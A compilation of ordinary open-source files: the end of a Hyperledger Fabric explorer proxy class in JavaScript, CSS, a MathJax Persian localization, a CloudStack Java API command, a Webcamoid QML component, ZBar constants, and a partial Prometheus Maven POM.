{ if (node.peer_type === 'PEER') { node.status = 'DOWN'; if (discover_results && discover_results.peers_by_org) { const org = discover_results.peers_by_org[node.mspid]; if (org === undefined) { continue; } for (const peer of org.peers) { if (peer.endpoint.indexOf(node.server_hostname) > -1) { node.ledger_height_low = peer.ledgerHeight.low; node.ledger_height_high = peer.ledgerHeight.high; node.ledger_height_unsigned = peer.ledgerHeight.unsigned; } } } peers.push(node); } else if (node.peer_type === 'ORDERER') { node.status = 'DOWN'; if (discover_results && discover_results.orderers) { const org = discover_results.orderers[node.mspid]; for (const endpoint of org.endpoints) { if (endpoint.host.indexOf(node.server_hostname) > -1) { node.ledger_height_low = '-'; node.ledger_height_high = '-'; node.ledger_height_unsigned = '-'; } } } peers.push(node); } } logger.debug('getPeersStatus >> %j', peers.length); return peers; } /** * * * @param {*} channel_genesis_hash * @returns * @memberof Proxy */ async changeChannel(network_id, channel_genesis_hash) { return channel_genesis_hash; } /** * * * @returns * @memberof Proxy */ async getChannelsInfo(network_id) { const client = this.platform.getClient(network_id); const channels = await this.persistence .getCrudService() .getChannelsInfo(network_id); const currentchannels = []; for (const channel of channels) { const channel_genesis_hash = client.getChannelGenHash(channel.channelname); if ( channel_genesis_hash && channel_genesis_hash === channel.channel_genesis_hash ) { currentchannels.push(channel); } } logger.debug('getChannelsInfo >> %j', currentchannels); return currentchannels; } /** * * * @param {*} channel_genesis_hash * @returns * @memberof Proxy */ async getTxByOrgs(network_id, channel_genesis_hash) { const rows = await this.persistence .getMetricService() .getTxByOrgs(network_id, channel_genesis_hash); const organizations = await this.persistence .getMetricService() .getOrgsData(network_id, channel_genesis_hash); for (const organization of rows) { const index = organizations.indexOf(organization.creator_msp_id); if (index > -1) { organizations.splice(index, 1); } } for (const org_id of organizations) { rows.push({ count: '0', creator_msp_id: org_id }); } return rows; } /** * * * @param {*} channel_genesis_hash * @param {*} number * @returns * @memberof Proxy */ async getBlockByNumber(network_id, channel_genesis_hash, number) { const client = this.platform.getClient(network_id); const channelName = client.getChannelNameByHash(channel_genesis_hash); let block; try { block = await client.fabricGateway.queryBlock(channelName, parseInt(number)); } catch (e) { logger.debug('queryBlock >> ', e); } if (block) { return block; } logger.error('response_payloads is null'); return 'response_payloads is null'; } /** * * * @returns * @memberof Proxy */ getClientStatus() { const client = this.platform.getClient(); return client.getStatus(); } /** * * * @returns * @memberof Proxy */ async getChannels(network_id) { const client = this.platform.getClient(network_id); const client_channels = client.getChannelNames(); const channels = await this.persistence .getCrudService() .getChannelsInfo(network_id); const respose = []; for (let i = 0; i < channels.length; i++) { const index = client_channels.indexOf(channels[i].channelname); if (index <= -1) { await client.initializeNewChannel(channels[i].channelname); } respose.push(channels[i].channelname); } logger.debug('getChannels >> %j', respose); return respose; } /** * * * @param {*} reqUser * @returns * @memberof Proxy */ async register(reqUser) { const response = await this.userService.register(reqUser); logger.debug('register >> %s', response); return response; } /** * * * @param {*} reqUser * @returns * @memberof Proxy */ async unregister(reqUser) { const response = await this.userService.unregister(reqUser); logger.debug('unregister >> %s', response); return response; } /** * * * @returns * @memberof Proxy */ async userlist(reqUser) { const response = await this.userService.userlist(reqUser); logger.debug('userlist >> %s', response); return response; } /** * * * @param {*} msg * @memberof Proxy */ processSyncMessage(msg) { // Get message from child process logger.debug('Message from child %j', msg); if (fabric_const.NOTITY_TYPE_NEWCHANNEL === msg.notify_type) { // Initialize new channel instance in parent if (msg.network_id) { const client = this.platform.getClient(msg.network_id); if (msg.channel_name) { client.initializeNewChannel(msg.channel_name); } else { logger.error( 'Channel name should pass to process the notification from child process' ); } } else { logger.error( 'Network name and client name should pass to process the notification from child process' ); } } else if ( fabric_const.NOTITY_TYPE_UPDATECHANNEL === msg.notify_type || fabric_const.NOTITY_TYPE_CHAINCODE === msg.notify_type ) { // Update channel details in parent if (msg.network_id) { const client = this.platform.getClient(msg.network_id); if (msg.channel_name) { client.initializeChannelFromDiscover(msg.channel_name); } else { logger.error( 'Channel name should pass to process the notification from child process' ); } } else { logger.error( 'Network name and client name should pass to process the notification from child process' ); } } else if (fabric_const.NOTITY_TYPE_BLOCK === msg.notify_type) { // Broad cast new block message to client const notify = { title: msg.title, type: msg.type, message: msg.message, time: msg.time, txcount: msg.txcount, datahash: msg.datahash }; this.broadcaster.broadcast(notify); } else if (fabric_const.NOTITY_TYPE_EXISTCHANNEL === msg.notify_type) { throw new ExplorerError(explorerError.ERROR_2009, msg.channel_name); } else if (msg.error) { throw new ExplorerError(explorerError.ERROR_2010, msg.error); } else { logger.error( 'Child process notify is not implemented for this type %s ', msg.notify_type ); } } }
{ "pile_set_name": "Github" }
h3 code { font-family: inherit ; font-size: inherit ; } pre, code { font-size: 12pt ; } span.apii { float: right ; font-family: inherit ; font-style: normal ; font-size: small ; color: gray ; } p+h1, ul+h1 { padding-top: 0.4em ; padding-bottom: 0.4em ; padding-left: 30px ; margin-left: -30px ; background-color: #E0E0FF ; }
{ "pile_set_name": "Github" }
/* -*- Mode: Javascript; indent-tabs-mode:nil; js-indent-level: 2 -*- */ /* vim: set ts=2 et sw=2 tw=80: */ /************************************************************* * * MathJax/localization/fa/MathMenu.js * * Copyright (c) 2009-2015 The MathJax Consortium * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ MathJax.Localization.addTranslation("fa","MathMenu",{ version: "2.5.0", isLoaded: true, strings: { Show: "\u0646\u0645\u0627\u06CC\u0634 \u0631\u06CC\u0627\u0636\u06CC\u0627\u062A \u0628\u0647\u200C\u0639\u0646\u0648\u0627\u0646", MathMLcode: "\u06A9\u062F MathML", OriginalMathML: "MathML \u0627\u0635\u0644\u06CC", TeXCommands: "\u062F\u0633\u062A\u0648\u0631\u0627\u062A \u062A\u06A9", AsciiMathInput: "\u0648\u0631\u0648\u062F\u06CC AsciiMathML", Original: "\u062D\u0627\u0644\u062A \u0627\u0635\u0644\u06CC", ErrorMessage: "\u067E\u06CC\u0627\u0645 \u062E\u0637\u0627", Annotation: "\u06CC\u0627\u062F\u062F\u0627\u0634\u062A", TeX: "\u062A\u06A9", StarMath: "StarMath", Maple: "Maple", ContentMathML: "MathML \u0645\u062D\u062A\u0648\u0627", OpenMath: "OpenMath", texHints: "\u0646\u0645\u0627\u06CC\u0634 \u0646\u06A9\u062A\u0647\u200C\u0647\u0627\u06CC \u062A\u06A9 \u062F\u0631 MathML", Settings: "\u062A\u0646\u0638\u06CC\u0645\u0627\u062A \u0631\u06CC\u0627\u0636\u06CC\u0627\u062A", ZoomTrigger: "\u0645\u0627\u0634\u0647\u0654 \u06A9\u0648\u0686\u06A9/\u0628\u0632\u0631\u06AF\u200C\u0646\u0645\u0627\u06CC\u06CC", Hover: "\u0642\u0631\u0627\u0631\u062F\u0627\u062F\u0646 \u0645\u0648\u0634\u0648\u0627\u0631\u0647 \u0628\u0631 \u0631\u0648\u06CC \u0622\u0646", Click: "\u06A9\u0644\u06CC\u06A9", DoubleClick: "\u062F\u0648\u0628\u0627\u0631 \u06A9\u0644\u06CC\u06A9", NoZoom: "\u0628\u062F\u0648\u0646 \u06A9\u0648\u0686\u06A9/\u0628\u0632\u0631\u06AF\u200C\u0646\u0645\u0627\u06CC\u06CC", TriggerRequires: "\u062A\u063A\u06CC\u06CC\u0631 \u062D\u0627\u0644\u062A \u0646\u06CC\u0627\u0632\u0645\u0646\u062F \u0627\u0633\u062A \u0628\u0647:", Option: "\u06AF\u0632\u06CC\u0646\u0647", Alt: "\u062F\u06AF\u0631\u0633\u0627\u0632", Command: "\u062F\u0633\u062A\u0648\u0631", Control: "\u0645\u0647\u0627\u0631", Shift: "\u062A\u0628\u062F\u06CC\u0644", ZoomFactor: "\u0636\u0631\u06CC\u0628 \u06A9\u0648\u0686\u06A9/\u0628\u0632\u0631\u06AF\u200C\u0646\u0645\u0627\u06CC\u06CC", Renderer: "\u0627\u0631\u0627\u0626\u0647\u200C\u062F\u0647\u0646\u062F\u0647\u0654 \u0631\u06CC\u0627\u0636\u06CC", MPHandles: "\u0627\u062C\u0627\u0632\u0647\u200C\u0628\u062F\u0647 MathPlayer \u0645\u062F\u06CC\u0631\u06CC\u062A \u06A9\u0646\u062F:", MenuEvents: "\u0631\u0648\u06CC\u062F\u0627\u062F\u0647\u0627\u06CC \u0645\u0646\u0648", MouseEvents: "\u0631\u0648\u06CC\u062F\u0627\u062F\u0647\u0627\u06CC \u0645\u0648\u0634\u0648\u0627\u0631\u0647", MenuAndMouse: "\u0631\u0648\u06CC\u062F\u0627\u062F\u0647\u0627\u06CC \u0645\u0648\u0634\u0648\u0627\u0631\u0647 \u0648 \u0645\u0646\u0648", FontPrefs: "\u062A\u0631\u062C\u06CC\u062D\u0627\u062A \u0642\u0644\u0645", ForHTMLCSS: "\u0628\u0631\u0627\u06CC \u0627\u0686\u200C\u062A\u06CC\u200C\u0627\u0645\u200C\u0627\u0644-\u0633\u06CC\u200C\u0627\u0633\u200C\u0627\u0633:", Auto: "\u062E\u0648\u062F\u06A9\u0627\u0631", TeXLocal: "\u062A\u06A9 (\u0645\u062D\u0644\u06CC)", TeXWeb: "\u062A\u06A9 (\u0648\u0628)", TeXImage: "\u062A\u06A9 (\u0646\u06AF\u0627\u0631\u0647)", STIXLocal: "STIX (\u0645\u062D\u0644\u06CC)", STIXWeb: "STIX (\u0648\u0628\u200C\u0633\u0627\u06CC\u062A)", AsanaMathWeb: "\u0631\u06CC\u0627\u0636\u06CC \u0622\u0633\u0627\u0646\u0627 (\u0648\u0628\u200C\u0633\u0627\u06CC\u062A)", GyrePagellaWeb: "\u06AF\u0631\u06CC \u067E\u0627\u06AF\u0644\u0627 (\u0648\u0628\u200C\u0633\u0627\u06CC\u062A)", GyreTermesWeb: "\u06AF\u06CC\u0631 \u062A\u0631\u0645\u0632 (\u0648\u0628\u200C\u0633\u0627\u06CC\u062A)", LatinModernWeb: "\u0644\u0627\u062A\u06CC\u0646 \u0645\u062F\u0631\u0646 (\u0648\u0628\u200C\u0633\u0627\u06CC\u062A)", NeoEulerWeb: "\u0646\u0626\u0648 \u0627\u0648\u06CC\u0644\u0631 (\u0648\u0628\u200C\u0633\u0627\u06CC\u062A)", ContextMenu: "\u0645\u0646\u0648 \u0645\u062A\u0646\u06CC", Browser: "\u0645\u0631\u0648\u0631\u06AF\u0631", Scale: "\u0645\u0642\u06CC\u0627\u0633\u200C\u062F\u0647\u06CC \u0647\u0645\u0647\u0654 \u0631\u06CC\u0627\u0636\u06CC\u0627\u062A ...", Discoverable: "\u0628\u0631\u062C\u0633\u062A\u0647\u200C\u0634\u062F\u0646 \u0628\u0627 \u0642\u0631\u0627\u0631\u062F\u0627\u062F\u0646 \u0645\u0648\u0634\u0648\u0627\u0631\u0647 \u0628\u0631 \u0631\u0648\u06CC\u0634", Locale: "\u0632\u0628\u0627\u0646", LoadLocale: "\u0628\u0627\u0631\u06AF\u06CC\u0631\u06CC \u0627\u0632 \u0646\u0634\u0627\u0646\u06CC \u0627\u06CC\u0646\u062A\u0631\u0646\u062A\u06CC ...", About: "\u062F\u0631\u0628\u0627\u0631\u0647\u0654 MathJax", Help: "\u0631\u0627\u0647\u0646\u0645\u0627\u06CC MathJax", localTeXfonts: "\u0627\u0633\u062A\u0641\u0627\u062F\u0647 \u0627\u0632 \u0642\u0644\u0645\u200C\u0647\u0627\u06CC \u062A\u06A9 \u0645\u062D\u0644\u06CC", webTeXfonts: "\u0628\u0627 \u0627\u0633\u062A\u0641\u0627\u062F\u0647 \u0627\u0632 \u0642\u0644\u0645 \u0648\u0628\u06CC \u062A\u06A9", imagefonts: "\u0627\u0633\u062A\u0641\u0627\u062F\u0647 \u0627\u0632 \u0642\u0644\u0645\u200C\u0647\u0627\u06CC \u062A\u0635\u0648\u06CC\u0631\u06CC", localSTIXfonts: "\u0627\u0633\u062A\u0641\u0627\u062F\u0647 \u0627\u0632 \u0642\u0644\u0645\u200C\u0647\u0627\u06CC STIX \u0645\u062D\u0644\u06CC", webSVGfonts: "\u0627\u0633\u062A\u0641\u0627\u062F\u0647 \u0627\u0632 \u0642\u0644\u0645\u200C\u0647\u0627\u06CC \u0648\u0628\u06CC SVG", genericfonts: "\u0627\u0633\u062A\u0641\u0627\u062F\u0647 \u0627\u0632 \u0642\u0644\u0645\u200C\u0647\u0627\u06CC \u0639\u0645\u0648\u0645\u06CC \u06CC\u0648\u0646\u06CC\u06A9\u062F", wofforotffonts: "\u0642\u0644\u0645\u200C\u0647\u0627\u06CC woff \u06CC\u0627 otf", eotffonts: "\u0642\u0644\u0645\u200C\u0647\u0627\u06CC eot", svgfonts: "\u0642\u0644\u0645\u200C\u0647\u0627\u06CC svg", WebkitNativeMMLWarning: "\u0628\u0647 \u0646\u0638\u0631 \u0645\u0631\u0648\u0631\u06AF\u0631 \u0634\u0645\u0627 \u0627\u0632 MathML \u0628\u0647\u200C\u0635\u0648\u0631\u062A \u0645\u062D\u0644\u06CC \u067E\u0634\u062A\u06CC\u0628\u0627\u0646\u06CC \u0646\u0645\u06CC\u200C\u06A9\u0646\u062F\u060C \u0628\u0646\u0627\u0628\u0631\u0627\u06CC\u0646 \u0631\u0641\u062A\u0646 \u0628\u0647 \u062D\u0627\u0644\u062A \u062E\u0631\u0648\u062C\u06CC MathML \u0645\u0645\u06A9\u0646 \u0627\u0633\u062A \u06A9\u0647 \u0631\u06CC\u0627\u0636\u06CC\u0627\u062A \u0645\u0648\u062C\u0648\u062F \u062F\u0631 \u0635\u0641\u062D\u0647 \u063A\u06CC\u0631\u0642\u0627\u0628\u0644 \u062E\u0648\u0627\u0646\u062F\u0646 \u0634\u0648\u0646\u062F.", MSIENativeMMLWarning: "\u0627\u06CC\u0646\u062A\u0631\u0646\u062A \u0627\u06A9\u0633\u067E\u0644\u0648\u0631\u0631 \u0628\u0647 \u0627\u0641\u0632\u0627\u06CC\u0647\u0654 MathPlayer \u0628\u0631\u0627\u06CC \u067E\u0631\u062F\u0627\u0632\u0634 \u062E\u0631\u0648\u062C\u06CC MathML \u0646\u06CC\u0627\u0632\u0645\u0646\u062F \u0627\u0633\u062A.", OperaNativeMMLWarning: "\u067E\u0634\u062A\u06CC\u0628\u0627\u0646\u06CC \u0627\u067E\u0631\u0627 \u0627\u0632 MathML \u0645\u062D\u062F\u0648\u062F \u0627\u0633\u062A \u0628\u0646\u0627\u0628\u0631\u0627\u06CC\u0646 \u0627\u0646\u062A\u062E\u0627\u0628 \u062E\u0631\u0648\u062C\u06CC MathML \u0645\u0645\u06A9\u0646 \u0627\u0633\u062A \u0628\u0627\u0639\u062B \u0646\u0645\u0627\u06CC\u0634 \u0636\u0639\u06CC\u0641 \u0628\u0639\u0636\u06CC \u0627\u0632 \u0639\u0628\u0627\u0631\u062A\u200C\u0647\u0627 \u0634\u0648\u062F.", SafariNativeMMLWarning: "\u0645\u0631\u0648\u0631\u06AF\u0631 \u0634\u0645\u0627 \u0628\u0647\u200C\u0635\u0648\u0631\u062A \u0645\u062D\u0644\u06CC \u0647\u0645\u0647\u0654 \u0642\u0627\u0628\u0644\u06CC\u062A\u200C\u0647\u0627\u06CC \u0627\u0633\u062A\u0641\u0627\u062F\u0647 \u0634\u062F\u0647 \u062A\u0648\u0633\u0637 MathJax \u0631\u0627 \u067E\u06CC\u0627\u062F\u0647\u200C\u0633\u0627\u0632\u06CC \u0646\u0645\u06CC\u200C\u06A9\u0646\u062F \u0628\u0646\u0627\u0628\u0631\u0627\u06CC\u0646 \u0628\u0639\u0636\u06CC \u0627\u0632 \u0639\u0628\u0627\u0631\u0627\u062A \u0645\u0645\u06A9\u0646 \u0627\u0633\u062A \u0628\u0647 \u062F\u0631\u0633\u062A\u06CC \u0646\u0645\u0627\u06CC\u0634 \u062F\u0627\u062F\u0647 \u0646\u0634\u0646\u062F.", FirefoxNativeMMLWarning: "\u0645\u0631\u0648\u0631\u06AF\u0631 \u0634\u0645\u0627 \u0628\u0647\u200C\u0635\u0648\u0631\u062A \u0645\u062D\u0644\u06CC \u0647\u0645\u0647\u0654 \u0642\u0627\u0628\u0644\u06CC\u062A\u200C\u0647\u0627\u06CC \u0627\u0633\u062A\u0641\u0627\u062F\u0647 \u0634\u062F\u0647\u0654 MathML \u062A\u0648\u0633\u0637 MathJax \u0631\u0627 \u067E\u06CC\u0627\u062F\u0647\u200C\u0633\u0627\u0632\u06CC \u0646\u0645\u06CC\u200C\u06A9\u0646\u062F \u0628\u0646\u0627\u0628\u0631\u0627\u06CC\u0646 \u0628\u0639\u0636\u06CC \u0627\u0632 \u0639\u0628\u0627\u0631\u062A\u200C\u0647\u0627 \u0645\u0645\u06A9\u0646 \u0627\u0633\u062A \u0628\u0647 \u062E\u0648\u0628\u06CC \u062F\u06CC\u062F\u0647 \u0646\u0634\u0648\u0646\u062F.", MSIESVGWarning: "SVG \u062F\u0631 \u0627\u06CC\u0646\u062A\u0631\u0646\u062A \u0627\u06A9\u0633\u067E\u0644\u0648\u0631\u0631 \u0642\u0628\u0644 \u0627\u0632 \u0646\u0633\u062E\u0647\u0654 \u06F9 \u0622\u0646 \u06CC\u0627 \u0648\u0642\u062A\u06CC \u06A9\u0647 \u0634\u0628\u06CC\u0647\u200C\u0633\u0627\u0632\u06CC \u0646\u0633\u062E\u0647\u200C\u0647\u0627\u06CC \u0642\u0628\u0644\u06CC \u0631\u0627 \u0645\u06CC\u200C\u06A9\u0646\u062F \u067E\u06CC\u0627\u062F\u0647\u200C\u0633\u0627\u0632\u06CC \u0646\u0634\u062F\u0647\u200C\u0627\u0633\u062A. \u0627\u0646\u062A\u062E\u0627\u0628 \u062E\u0631\u0648\u062C\u06CC SVG \u0645\u0645\u06A9\u0646 \u0627\u0633\u062A \u0628\u0627\u0639\u062B \u0634\u0648\u062F \u06A9\u0647 \u0628\u0639\u0636\u06CC \u0627\u0632 \u0631\u06CC\u0627\u0636\u06CC\u0627\u062A \u0628\u0647 \u062F\u0631\u0633\u062A\u06CC \u0646\u0645\u0627\u06CC\u0634 \u062F\u0627\u062F\u0647 \u0646\u0634\u0648\u0646\u062F.", LoadURL: "\u0628\u0627\u0631\u06AF\u06CC\u0631\u06CC \u062F\u0627\u062F\u0647\u200C\u0647\u0627\u06CC \u062A\u0631\u062C\u0645\u0647 \u0627\u0632 \u0627\u06CC\u0646 \u0646\u0634\u0627\u0646\u06CC \u0627\u06CC\u0646\u062A\u0631\u0646\u062A\u06CC:", BadURL: "\u0646\u0634\u0627\u0646\u06CC \u0627\u06CC\u0646\u062A\u0631\u0646\u062A\u06CC \u0628\u0631\u0627\u06CC \u067E\u0631\u0648\u0646\u062F\u0647\u0654 \u062C\u0627\u0648\u0627\u0627\u0633\u06A9\u0631\u067E\u062A\u06CC \u0627\u0633\u062A \u06A9\u0647 \u062F\u0627\u062F\u0647\u200C\u0647\u0627\u06CC \u062A\u0631\u062C\u0645\u0647\u200C\u0627\u06CC MathJax \u0631\u0627 \u062A\u0639\u0631\u06CC\u0641 \u0645\u06CC\u200C\u06A9\u0646\u062F. \u067E\u0631\u0648\u0646\u062F\u0647\u200C\u0647\u0627\u06CC \u062C\u0627\u0648\u0627\u0627\u0633\u06A9\u0631\u06CC\u067E\u062A \u0628\u0627 \u067E\u0633\u0648\u0646\u062F '.js' \u062A\u0645\u0627\u0645 \u0645\u06CC\u200C\u0634\u0648\u0646\u062F.", BadData: "\u0634\u06A9\u0633\u062A \u062F\u0631 \u0628\u0627\u0631\u06AF\u06CC\u0631\u06CC \u062F\u0627\u062F\u0647\u200C\u0647\u0627\u06CC \u062A\u0631\u062C\u0645\u0647\u200C\u0627\u06CC \u0627\u0632 %1", SwitchAnyway: "(\u0628\u0631 \u00AB\u0628\u0627\u0634\u062F\u00BB \u0641\u0634\u0627\u0631 \u062F\u0647\u06CC\u062F \u062A\u0627 \u0627\u0646\u062A\u062E\u0627\u0628 \u0634\u0648\u062F \u0648 \u0628\u0631 \u00AB\u0644\u063A\u0648\u00BB \u0641\u0634\u0627\u0631 \u062F\u0647\u06CC\u062F \u062A\u0627 \u0646\u0645\u0627\u06CC\u0634\u200C\u062F\u0647\u0646\u062F\u0647\u0654 \u0641\u0639\u0644\u06CC \u0627\u062F\u0627\u0645\u0647 \u06CC\u0627\u0628\u062F)", ScaleMath: "\u0645\u0642\u06CC\u0627\u0633 \u0647\u0645\u0647\u0654 \u0631\u06CC\u0627\u0636\u06CC\u0627\u062A (\u062F\u0631 \u0645\u0642\u0627\u06CC\u0633\u0647 \u0628\u0627 \u0645\u062A\u0646 \u0627\u0637\u0631\u0627\u0641) \u062A\u0648\u0633\u0637", NonZeroScale: "\u0645\u0642\u06CC\u0627\u0633 \u0646\u0628\u0627\u06CC\u062F \u0635\u0641\u0631 \u0628\u0627\u0634\u062F", PercentScale: "\u0645\u0642\u06CC\u0627\u0633 \u0628\u0627\u06CC\u062F \u062F\u0631\u0635\u062F\u06CC \u0628\u0627\u0634\u062F (\u0628\u0631\u0627\u06CC \u0646\u0645\u0648\u0646\u0647 \u06F1\u06F2\u06F0\u066A)", IE8warning: "\u0627\u06CC\u0646 \u0645\u0646\u0648\u06CC MathJax \u0648 \u0642\u0627\u0628\u0644\u06CC\u062A\u200C\u0647\u0627\u06CC \u06A9\u0648\u0686\u06A9/\u0628\u0632\u0631\u06AF\u200C\u0646\u0645\u0627\u06CC\u06CC \u0631\u0627 \u063A\u06CC\u0631\u0641\u0639\u0627\u0644 \u0645\u06CC\u200C\u06A9\u0646\u062F \u0648\u0644\u06CC \u0634\u0645\u0627 \u0645\u06CC\u200C\u062A\u0648\u0627\u0646\u06CC\u062F \u0628\u0627 Alt-Click \u0628\u0631 \u0631\u0648\u06CC \u0639\u0628\u0627\u0631\u062A \u0645\u0646\u0648\u06CC MathJax \u0631\u0627 \u0628\u062F\u0633\u062A \u0622\u0648\u0631\u06CC\u062F.\n\n\u0648\u0627\u0642\u0639\u0627\u064B \u0645\u06CC\u200C\u062E\u0648\u0627\u0647\u06CC\u062F \u062A\u0646\u0638\u06CC\u0645\u0627\u062A MathPlayer \u0631\u0627 \u062A\u063A\u06CC\u06CC\u0631 \u062F\u0647\u06CC\u062F\u061F", IE9warning: "\u0645\u0646\u0648\u06CC \u0645\u062A\u0646\u06CC MathJax \u063A\u06CC\u0631\u0641\u0639\u0627\u0644 \u062E\u0648\u0627\u0647\u062F \u0634\u062F \u0648\u0644\u06CC \u0634\u0645\u0627 \u0645\u06CC\u200C\u062A\u0648\u0627\u0646\u062F \u0628\u0627 Alt-Click \u0628\u0631 \u0631\u0648\u06CC \u0639\u0628\u0627\u0631\u062A \u0645\u0646\u0648\u06CC MathJax \u0631\u0627 \u0628\u062F\u0633\u062A \u0628\u06CC\u0627\u0648\u0631\u06CC\u062F.", NoOriginalForm: "\u062D\u0627\u0644\u062A \u0627\u0648\u0644\u0628\u0647 \u0645\u0648\u062C\u0648\u062F \u0646\u06CC\u0633\u062A", Close: "\u0628\u0633\u062A\u0646", EqSource: "\u0645\u0646\u0628\u0639 \u0645\u0639\u0627\u062F\u0644\u0647\u0654 MathJax" } }); MathJax.Ajax.loadComplete("[MathJax]/localization/fa/MathMenu.js");
{ "pile_set_name": "Github" }
// Licensed to the Apache Software Foundation (ASF) under one // or more contributor license agreements. See the NOTICE file // distributed with this work for additional information // regarding copyright ownership. The ASF licenses this file // to you under the Apache License, Version 2.0 (the // "License"); you may not use this file except in compliance // with the License. You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, // software distributed under the License is distributed on an // "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY // KIND, either express or implied. See the License for the // specific language governing permissions and limitations // under the License. package org.apache.cloudstack.api.command.admin.vm; import javax.inject.Inject; import org.apache.cloudstack.acl.RoleType; import org.apache.cloudstack.api.APICommand; import org.apache.cloudstack.api.ApiConstants; import org.apache.cloudstack.api.BaseAsyncCmd; import org.apache.cloudstack.api.BaseListCmd; import org.apache.cloudstack.api.Parameter; import org.apache.cloudstack.api.ResponseObject; import org.apache.cloudstack.api.ServerApiException; import org.apache.cloudstack.api.response.ClusterResponse; import org.apache.cloudstack.api.response.ListResponse; import org.apache.cloudstack.api.response.UnmanagedInstanceResponse; import org.apache.cloudstack.context.CallContext; import org.apache.cloudstack.vm.UnmanagedInstanceTO; import org.apache.cloudstack.vm.VmImportService; import org.apache.log4j.Logger; import com.cloud.exception.ConcurrentOperationException; import com.cloud.exception.InsufficientCapacityException; import com.cloud.exception.NetworkRuleConflictException; import com.cloud.exception.ResourceAllocationException; import com.cloud.exception.ResourceUnavailableException; import com.cloud.user.Account; @APICommand(name = ListUnmanagedInstancesCmd.API_NAME, description = "Lists unmanaged virtual machines for a given cluster.", responseObject = UnmanagedInstanceResponse.class, responseView = ResponseObject.ResponseView.Full, entityType = {UnmanagedInstanceTO.class}, requestHasSensitiveInfo = false, responseHasSensitiveInfo = true, authorized = {RoleType.Admin}, since = "4.14.0") public class ListUnmanagedInstancesCmd extends BaseListCmd { public static final Logger LOGGER = Logger.getLogger(ListUnmanagedInstancesCmd.class.getName()); public static final String API_NAME = "listUnmanagedInstances"; @Inject public VmImportService vmImportService; ///////////////////////////////////////////////////// //////////////// API parameters ///////////////////// ///////////////////////////////////////////////////// @Parameter(name = ApiConstants.CLUSTER_ID, type = CommandType.UUID, entityType = ClusterResponse.class, required = true, description = "the cluster ID") private Long clusterId; @Parameter(name = ApiConstants.NAME, type = CommandType.STRING, description = "the hypervisor name of the instance") private String name; ///////////////////////////////////////////////////// /////////////////// Accessors /////////////////////// ///////////////////////////////////////////////////// public Long getClusterId() { return clusterId; } public String getName() { return name; } ///////////////////////////////////////////////////// /////////////// API Implementation/////////////////// ///////////////////////////////////////////////////// @Override public void execute() throws ResourceUnavailableException, InsufficientCapacityException, ServerApiException, ConcurrentOperationException, ResourceAllocationException, NetworkRuleConflictException { ListResponse<UnmanagedInstanceResponse> response = vmImportService.listUnmanagedInstances(this); response.setResponseName(getCommandName()); setResponseObject(response); } @Override public String getCommandName() { return API_NAME.toLowerCase() + BaseAsyncCmd.RESPONSE_SUFFIX; } @Override public long getEntityOwnerId() { Account account = CallContext.current().getCallingAccount(); if (account != null) { return account.getId(); } return Account.ACCOUNT_ID_SYSTEM; } }
{ "pile_set_name": "Github" }
/* Webcamoid, webcam capture application. * Copyright (C) 2019 Gonzalo Exequiel Pedone * * Webcamoid is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * Webcamoid is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with Webcamoid. If not, see <http://www.gnu.org/licenses/>. * * Web-Site: http://webcamoid.github.io/ */ import QtQuick 2.12 import QtQuick.Controls 2.5 import QtQuick.Templates 2.5 as T import Ak 1.0 T.MenuSeparator { id: control implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, implicitContentWidth + leftPadding + rightPadding) implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, implicitContentHeight + topPadding + bottomPadding) verticalPadding: AkUnit.create(8 * AkTheme.controlScale, "dp").pixels readonly property color activeDark: AkTheme.palette.active.dark readonly property color disabledDark: AkTheme.palette.disabled.dark contentItem: Rectangle { implicitWidth: AkUnit.create(128 * AkTheme.controlScale, "dp").pixels implicitHeight: AkUnit.create(1 * AkTheme.controlScale, "dp").pixels color: enabled? control.activeDark: control.disabledDark } }
{ "pile_set_name": "Github" }
package com.dm.zbar.android.scanner; public interface ZBarConstants { public static final String SCAN_MODES = "SCAN_MODES"; public static final String SCAN_RESULT = "SCAN_RESULT"; public static final String SCAN_RESULT_TYPE = "SCAN_RESULT_TYPE"; public static final String ERROR_INFO = "ERROR_INFO"; }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>io.prometheus.client</groupId> <artifactId>model</artifactId> <version>0.0.3-SNAPSHOT</version> <parent> <groupId>org.sonatype.oss</groupId> <artifactId>oss-parent</artifactId> <version>7</version> </parent> <name>Prometheus Client Data Model</name> <url>http://github.com/prometheus/client_model</url> <description> Prometheus Client Data Model: Generated Protocol Buffer Assets </description> <licenses> <license> <name>The Apache Software License, Version 2.0</name> <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url> <distribution>repo</distribution> </license> </licenses> <scm> <connection>scm:git:[email protected]:prometheus/client_model.git</connection> <developerConnection>scm:git:[email protected]:prometheus/client_model.git</developerConnection> <url>[email protected]:prometheus/client_model.git</url> </scm> <developers> <developer> <id>mtp</id> <name>Matt T. Proud</name> <email>[email protected]</email> </developer> </developers> <dependencies> <dependency> <groupId>com.google.protobuf</groupId> <artifactId>protobuf-java</artifactId> <version>2.5.0</version> </dependency> </dependencies> <build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-javadoc-plugin</artifactId> <version>2.8</version> <configuration> <encoding>UTF-8</encoding> <docencoding>UTF-8</docencoding> <linksource>true</linksource> </configuration> <executions> <execution> <id>generate-javadoc-site-report</id> <phase>site</phase> <goals> <goal>javadoc</goal> 